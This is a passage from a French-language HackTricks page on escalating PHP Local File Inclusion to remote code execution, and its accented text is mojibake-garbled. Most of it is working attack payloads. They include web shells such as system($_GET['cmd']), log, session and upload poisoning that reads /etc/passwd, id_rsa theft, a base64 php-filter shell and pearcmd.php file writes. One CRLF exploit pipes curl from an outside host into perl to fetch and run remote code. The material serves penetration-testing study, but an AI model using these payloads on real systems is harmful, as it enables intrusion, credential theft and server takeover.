GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
Si vous pouvez upload un fichier, injectez simplement le shell payload dedans (e.g : <?php system($_GET['c']); ?>).
http://example.com/index.php?page=path/to/uploaded/file.png
Pour que le fichier reste lisible, il est prĂ©fĂ©rable dâinjecter dans les mĂ©tadonnĂ©es des images/doc/pdf
Par tĂ©lĂ©versement dâun fichier ZIP
Téléversez un fichier ZIP contenant un shell PHP compressé et accédez à :
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Par les sessions PHP
Vérifiez si le site utilise les sessions PHP (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
En PHP, ces sessions sont stockées dans les fichiers /var/lib/php5/sess\[PHPSESSID]_.
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Définissez le cookie sur <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Utiliser la LFI pour inclure le fichier de session PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Via ssh
Si ssh est actif, vĂ©rifiez quel utilisateur est utilisĂ© (/proc/self/status & /etc/passwd) et essayez dâaccĂ©der Ă <HOME>/.ssh/id_rsa
Via vsftpd logs
Les logs du serveur FTP vsftpd se trouvent Ă /var/log/vsftpd.log. Dans le cas oĂč une vulnĂ©rabilitĂ© Local File Inclusion (LFI) existe et quâun accĂšs Ă un serveur vsftpd exposĂ© est possible, les Ă©tapes suivantes peuvent ĂȘtre envisagĂ©es :
- Injectez un payload PHP dans le champ username lors du processus de login.
- AprĂšs lâinjection, utilisez la LFI pour rĂ©cupĂ©rer les logs du serveur depuis /var/log/vsftpd.log.
Via php base64 filter (using base64)
As shown in this article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with â.phpâ, and it would just ignore the â.â and append âphpâ to the base64. Here is an example payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (no file needed)
This writeup explique que vous pouvez utiliser php filters pour gĂ©nĂ©rer du contenu arbitraire en sortie. Ce qui signifie essentiellement que vous pouvez gĂ©nĂ©rer du code php arbitraire pour lâinclude sans avoir besoin de lâĂ©crire dans un fichier.
Via segmentation fault
TĂ©lĂ©versez un fichier qui sera stockĂ© temporairement dans /tmp, puis, dans la mĂȘme requĂȘte, provoquez une erreur de segmentation ; le fichier temporaire ne sera alors pas supprimĂ© et vous pourrez le retrouver.
LFI2RCE via Segmentation Fault
Via Nginx temp file storage
Si vous trouvez une Local File Inclusion et que Nginx est placé devant PHP, vous pourriez obtenir RCE avec la technique suivante :
Via PHP_SESSION_UPLOAD_PROGRESS
Si vous trouvez une Local File Inclusion mĂȘme si vous nâavez pas de session et que session.auto_start est Off. Si vous fournissez la variable PHP_SESSION_UPLOAD_PROGRESS dans des donnĂ©es multipart POST, PHP activera la session pour vous. Vous pouvez abuser de cela pour obtenir RCE :
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Via temp file uploads in Windows
Si vous trouvez une Local File Inclusion et que le serveur tourne sous Windows, vous pourriez obtenir RCE :
Via pearcmd.php + URL args
As explained in this post, le script /usr/local/lib/phppearcmd.php existe par dĂ©faut dans les php docker images. De plus, il est possible de passer des arguments au script via lâURL car il est indiquĂ© que si un paramĂštre dâURL nâa pas de =, il doit ĂȘtre utilisĂ© comme argument. See also watchTowrâs write-up and Orange Tsaiâs âConfusion Attacksâ.
The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Ce qui suit exploite une vuln CRLF pour obtenir RCE (dâaprĂšs here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Via phpinfo() (file_uploads = on)
Si vous trouvez une Local File Inclusion et un fichier exposant phpinfo() avec file_uploads = on, vous pouvez obtenir RCE :
Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Si vous trouvez une Local File Inclusion et que vous pouvez exfiltrer le chemin du fichier temporaire MAIS que le serveur vérifie si le fichier à inclure comporte des balises PHP, vous pouvez essayer de contourner cette vérification avec cette Race Condition :
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Via eternal waiting + bruteforce
Si vous pouvez abuser de la LFI pour tĂ©lĂ©verser des fichiers temporaires et faire en sorte que le serveur fige lâexĂ©cution PHP, vous pouvez ensuite brute force les noms de fichiers pendant des heures pour trouver le fichier temporaire :
To Fatal Error
Si vous incluez lâun des fichiers /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Vous devez inclure le mĂȘme fichier 2 fois pour provoquer cette erreur).
Je ne sais pas Ă quel point câest utile mais ça pourrait lâĂȘtre.
MĂȘme si vous provoquez un PHP Fatal Error, les fichiers temporaires PHP uploadĂ©s sont supprimĂ©s.
.png)
Références
-
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
-
watchTowr â We need to talk about PHP (pearcmd.php gadget)
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
-
Positive Technologies â Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.


